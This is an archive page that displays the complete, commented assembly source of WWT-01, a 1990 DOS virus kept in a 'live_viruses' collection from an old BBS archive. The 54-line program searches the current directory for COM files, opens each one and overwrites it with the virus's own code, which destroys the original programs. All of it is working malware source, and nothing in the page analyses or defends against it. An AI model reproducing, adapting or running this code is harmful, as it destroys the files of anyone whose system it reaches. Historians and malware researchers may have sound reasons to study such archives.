home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / wwt-01.asm < prev    next >
Assembly Source File  |  1991-01-24  |  1KB  |  54 lines

  1. ; Virus name        WWT-01
  2. ; Description        When start destroy any COM file in current directory
  3. ; Comment        Can be stopped by ReadOnly or Hidden/System
  4. ; Date            18 Dec 1990    13:15
  5. ; Place         CICTT
  6. ;
  7.  
  8.         mov    dx,offset FileMask    ; FileMask for any COM file
  9.         mov    ah,4eh            ; Find first file
  10.         mov    cx,1            ; including attrib Archive
  11.         int    21h            ; Call DOS
  12.         jnc    Ok            ; If no error -> go on
  13.         jmp    short Exit        ; If error -> exit program
  14.  
  15. Ok
  16.         mov    dx,9eh            ; Get file name from DTA
  17.         mov    ax,3d02h        ; Open for Read/Write
  18.         int    21h            ; Call DOS
  19.         jnc    OpenOk            ; If no error -> go on
  20.         jmp    short Exit        ; If error -> exit
  21. OpenOk
  22.         mov    bx,ax            ; Move file handle in BX
  23.         call    Infect            ; Do infection
  24.  
  25. DoNext
  26.         mov    dx,80h            ; Set DS:DX to DTA
  27.         mov    ah,4fh            ; Find Next file
  28.         int    21h            ; Call DOS
  29.         jnc    NextOk            ; If no error -> go on
  30.         jmp    short Exit        ; If error -> exit
  31. NextOk
  32.         jmp    short Ok        ; Still next file exist
  33.  
  34. Exit
  35.         int    20h            ; Exit to DOS
  36.  
  37. Infect
  38.         mov    dx,100h         ; DS:DX point to itself
  39.         mov    ah,40h            ; Write to handle
  40.         mov    cx,offset VirusSize-100h    ; Write only virus
  41.         int    21h            ; Call DOS
  42.         mov    ah,3eh            ; Close file
  43.         int    21h            ; Call DOS
  44.         ret                ; Return to caller
  45.  
  46.  
  47. FileMask
  48.         db    '*.COM',0               ; File mask for any COM file
  49.  
  50.  
  51. VirusSize
  52.         db    ?            ; Used to calculate virus
  53.                         ; size
  54.